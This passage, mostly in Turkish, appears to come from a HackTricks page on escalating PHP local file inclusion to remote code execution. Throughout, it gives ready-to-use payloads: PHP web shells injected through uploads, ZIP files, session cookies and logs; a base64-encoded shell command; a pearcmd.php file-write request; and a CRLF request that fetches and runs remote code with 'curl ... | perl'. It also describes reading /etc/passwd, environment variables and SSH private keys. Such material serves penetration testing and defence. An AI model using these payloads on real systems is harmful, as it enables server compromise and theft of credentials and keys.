  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, burada $PID process’in PID’si (brute-force ile bulunabilir) ve $FD file descriptor’üdür (o da brute-force ile bulunabilir)

/proc/self/environ Üzerinden

Bir log dosyası gibi, payload’ı User-Agent içinde gönderin; bu /proc/self/environ dosyasında yansıyacaktır.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Upload ile

Eğer bir dosya upload edebiliyorsanız, shell payload’ını içine enjekte edin (ör. : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Dosyanın okunabilirliğini korumak için resimlerin/doc/pdf’lerin metadata’sına enjekte etmek en iyisidir

ZIP dosyası yüklemesi yoluyla

PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions aracılığıyla

Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP’de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarına kaydedilir

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Cookie’yi şu değere ayarla: <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI’yi kullanarak PHP session dosyasını include edin.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Üzerinden ssh

ssh aktifse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa’ye erişmeye çalışın.

Üzerinden vsftpd logları

vsftpd FTP sunucusunun logları /var/log/vsftpd.log konumunda bulunur. Local File Inclusion (LFI) zafiyeti varsa ve erişilebilir bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar düşünülebilir:

  1. Giriş işlemi sırasında kullanıcı adı alanına PHP payload enjekte edin.
  2. Enjeksiyon sonrası, LFI’yi kullanarak sunucu loglarını /var/log/vsftpd.log üzerinden çekin.

Üzerinden php base64 filter (base64 kullanarak)

As shown in this article, PHP base64 filter base64 olmayan karakterleri yok sayar. Bunu dosya uzantısı kontrolünü atlatmak için kullanabilirsiniz: eğer “.php” ile biten bir base64 sağlarsanız, filter “.” karakterini yok sayacak ve “php“yi base64’e ekleyecektir. İşte bir örnek payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup açıklıyor ki php filters ile rastgele içerik üretmek mümkün. Bu da temelde include için dosyaya yazmaya gerek kalmadan rastgele php kodu üretebileceğiniz anlamına geliyor.

LFI2RCE via PHP Filters

Via segmentation fault

Geçici olarak /tmp’de saklanacak bir dosya yükleyin, sonra aynı istekte bir segmentation fault tetikleyin; böylece geçici dosya silinmez ve onu arayabilirsiniz.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Eğer bir Local File Inclusion bulduysanız ve Nginx PHP’nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Eğer bir Local File Inclusion bulduysanız, hatta oturumunuz olmasa ve session.auto_start Off olsa bile. Multipart POST verisinde PHP_SESSION_UPLOAD_PROGRESS sağlarsanız, PHP sizin için oturumu etkinleştirecektir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa RCE elde edebilirsiniz:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, /usr/local/lib/phppearcmd.php scripti php docker images içinde varsayılan olarak bulunur. Ayrıca, bir URL parametresinde = yoksa bunun argüman olarak kullanılacağı belirtilmiş olduğundan, script’e URL üzerinden argüman geçirmek mümkündür. Ayrıca bkz. watchTowr’s write-up ve Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Aşağıdaki CRLF vuln’ü kullanarak RCE elde etmeyi gösterir (kaynak here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() ile (file_uploads = on)

Eğer bir Local File Inclusion ve içinde phpinfo() bulunan ve file_uploads = on olan bir dosya bulduysanız RCE elde edebilirsiniz:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure ile

Eğer bir Local File Inclusion bulduysanız ve temp dosyanın path’ini exfiltrate edebiliyorsanız AMA server dahil edilecek dosyanın PHP marks olup olmadığını kontrol ediyorsa, bu kontrolü bu Race Condition ile atlatmayı deneyebilirsiniz:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce ile

Eğer LFI’yi kötüye kullanarak geçici dosyalar yükleyebiliyor ve sunucunun PHP yürütmesini hang ettirebiliyorsanız, geçici dosyayı bulmak için saatlerce dosya adlarını brute force edebilirsiniz:

LFI2RCE via Eternal waiting

Fatal Error’a

Eğer /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar dosyalarından herhangi birini dahil ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kere dahil etmeniz gerekir).

Bunun nasıl kullanışlı olduğunu bilmiyorum ama işe yarayabilir.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

İstemciden traversal dizilerini koruma

Bazı HTTP istemcileri, istek sunucuya ulaşmadan önce ../ öğelerini normalize eder veya birleştirir ve bu da directory traversal payload’larını bozar. Kullanıcı tarafından kontrol edilen bir dosya adını birleştiren log/download uç noktalarını kötüye kullanırken traversal’ı bozulmadan bırakmak için curl --path-as-is kullanın ve /proc gibi pseudo-dosyalar için --ignore-content-length ekleyin:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

../ segmentlerinin sayısını hedeflenen dizinden çıkana kadar ayarlayın, sonra dump /etc/passwd, /proc/self/cwd/app.py, veya diğer kaynak/yapılandırma dosyalarını.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin